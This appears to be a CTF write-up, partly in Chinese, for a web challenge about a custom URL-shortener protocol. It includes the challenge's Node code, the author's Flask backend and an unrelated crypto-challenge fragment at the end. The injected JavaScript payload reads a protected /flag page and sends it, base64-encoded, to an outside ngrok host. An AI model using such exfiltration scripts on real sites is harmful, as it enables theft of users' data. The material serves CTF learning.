app.get('/flag', (req, res) => { // only allow localhost users to get the flag -- which is the bot // bot? see /report handler if (req.headers['give-me-the-flag'] === 'yes' && req.ip.endsWith('127.0.0.1')) { return res.send(flag); } res.send('No flag for you'); });
app.get('/:id/:alias', (req, res) => { const { id, alias } = req.params; if (!GUSPServices.has(id)) { res.status(404).send('API not found'); return; }
app.get('/add-api', (req, res) => { if (!req.cookies['authenticated']) return res.send("You are not authenticated"); res.sendFile(__dirname + '/html/add-api.html'); });
app.post('/add-api', async (req, res) => { if (!req.cookies['authenticated']) return res.send("You are not authenticated");
const { url, javascript } = req.body;
// Test if the API works as expected // You can understand the GUSP protocol by reading thorugh those test cases
const testCases = []; for (let i = 0; i < randInt(15, 20); ++i) { let alias = randInt(0, 3) === 0 ? randStr(randInt(3, 10)) : null; testCases.push({ original: `https://${randStr(randInt(3, 10))}.${randStr(randInt(10, 20))}.com/${randStr(randInt(0, 10))}`, alias }); }
const result = Promise.all( testCases.map(({ original, alias }) =>newPromise((resolve, reject) => { const body = alias === null ? `[gusp]URL|${original.length}|${original}[/gusp]` : `[gusp]URL|${original.length}|${original}|${alias}[/gusp]`;
fetch(url, { method: 'POST', headers: { 'Content-Type': 'application/gusp', }, body }).then(res => { if (!res.headers.get('Content-Type').startsWith('application/gusp')) { reject(newError(`Should return Content-Type: application/gusp`)); } return res.text() }).then(async res => { const [status, length, content] = res.match(/\[gusp\]([^\[]+)\[\/gusp\]/)[1].split('|'); if (+length !== content.length) { reject(newError(`Length mismatch: ${length} vs ${content.length}`)); }
if (content.match(/[^A-Za-z0-9_-]/)) { reject(newError(`Invalid alias format ${content}: should only contain A-Za-z0-9_-`)); }
if (status !== 'SUCCESS') { reject(newError(`Should return SUCCESS for non-duplicated alias`)); }
const testMode = randInt(0, 4); if (testMode <= 2) { // normal visit const redirect = awaitfetch(newURL(url + '/' + content), { redirect: 'manual' }); if (redirect.status !== 302) { reject(newError(`Should redirect with status 302`)); } const location = redirect.headers.get('Location').trim(); if (location !== original) { reject(newError(`${content}: Should redirect to ${original}, but got ${location}`)); } } elseif (testMode === 3) { // visit a non-exist alias const redirect = awaitfetch(newURL(url + '/' + randStr(randInt(3, 10))), { redirect: 'manual' }); if (redirect.status !== 404) { reject(newError(`Should return 404 for non-exist alias`)); } } elseif (testMode === 4) { // create a duplicated alias const body = `[gusp]URL|${original.length}|${original}|${alias}[/gusp]`; const res = awaitfetch(url, { method: 'POST', headers: { 'Content-Type': 'application/gusp', }, body }).then(res => res.text()); const [status, _, __] = res.match(/\[gusp\]([^\[]+)\[\/gusp\]/)[1].split('|'); if (status !== 'ERROR') { reject(newError(`Should return ERROR for duplicated alias`)); } } resolve(); }).catch(err =>reject(err)); })) );
result.then(() => { const id = uuid.v4(); GUSPServices.set(id, { url, javascript }); res.send(`Your API is working! API ID is ${id}`); }).catch(err => { res.send(`Your API is not working: ${err.message}`); });
# Parse the Content-Type and content of the request content_type = request.headers.get('Content-Type') if content_type != 'application/gusp': return"Invalid Content-Type", 400
request_data = request.data.decode('utf-8')
print("request_data:", request_data)
# Use regular expressions to extract URL, URL length, and shortened ID # match = re.match(r'\[gusp\]URL\|(\d+)\|(.+)(\|(.+))?\[/gusp\]', request_data) # match = re.match(r'\[gusp\]URL\|(\d+)\|(.+)(\|(.+))?\[/gusp\]', request_data)
# Create a shortened ID (if not provided) if shortened_id == "": shortened_id = generate_shortened_id()
for x in url_mapping.keys(): if x == shortened_id: des = "error_whatever" response_data = Response(f"[gusp]ERROR|{len(des)}|{des}[/gusp]") response_data.content_type = 'application/gusp' return response_data
# Store the mapping of shortened URL to original URL url_mapping[shortened_id] = original_url
except Exception as e: print(f"Error: {str(e)}") returnf"Error: {str(e)}", 500
@app.route('/<shortened_id>', methods=['GET']) defget_shortened_url(shortened_id): try: print("GET~~~") # Check if a mapping exists for the shortened ID if shortened_id notin url_mapping: return"Shortened URL not found", 404
# Retrieve the original URL and redirect original_url = url_mapping[shortened_id] return redirect(original_url, code=302) except Exception as e: returnf"Error: {str(e)}", 500
defgenerate_shortened_id(): characters = string.ascii_letters + string.digits random_string = "abc123" while random_string in url_mapping: random_string = ''.join(random.choice(characters) for _ inrange(6)) print("generate random string:", random_string) return random_string
// URL to visit const targetURL = 'http://127.0.0.1/flag';
// Headers for the initial request const headers = { 'give-me-the-flag': 'yes', };
// Send the initial request to targetURL with custom headers fetch('/flag', { headers }) .then((response) => { if (response.ok) { // If the response is successful, read its content as text return response.text(); } else { thrownewError('Failed to fetch the flag'); } }) .then((flagContent) => { // Encode the flag content as base64 const base64Flag = btoa(flagContent);
// URL to send the base64-encoded flag to example.com const postURL = `https://db7c-61-231-76-171.ngrok-free.app/ ${base64Flag}`;
// Headers for the POST request to example.com const postHeaders = { 'Content-Type': 'application/json', };
// Data to send in the POST request const postData = JSON.stringify({ flag: base64Flag });
// Send the POST request to example.com returnfetch(postURL, { method: 'POST', headers: postHeaders, body: postData }); }) .then((postResponse) => { if (postResponse.ok) { console.log('Flag sent successfully to example.com'); } else { thrownewError('Failed to send flag to example.com'); } }) .catch((error) => { console.error('Error:', error.message); });
這邊來釐清一下整題挑戰的架構,順便說明我怎麼做解題。
整題的架構大致上如下:
主要就是有 "CTF challenge server" 、 "My Python Flask backend" 以及 "My browser" 三個角色,又 "My Python Flask backend" 和 "My browser" 可以在同一臺電腦主機上。
# from secret import flag from Crypto.Util.number import bytes_to_long, getPrime, inverse from sympy.ntheory.modular import crt from fractions import Fraction from functools import reduce
defxorrrrr(nums): n = len(nums) result = [0] * n for i inrange(1, n): result = [ result[j] ^ nums[(j+i) % n] for j inrange(n)] return result
flag = b'A' * 20 secret = bytes_to_long(flag) mods = [ getPrime(32) for i inrange(20)] muls = [ getPrime(20) for i inrange(20)]
print(mods) print(muls)
print("Real secret:", secret)
hint = [secret * muls[i] % mods[i] for i inrange(20)]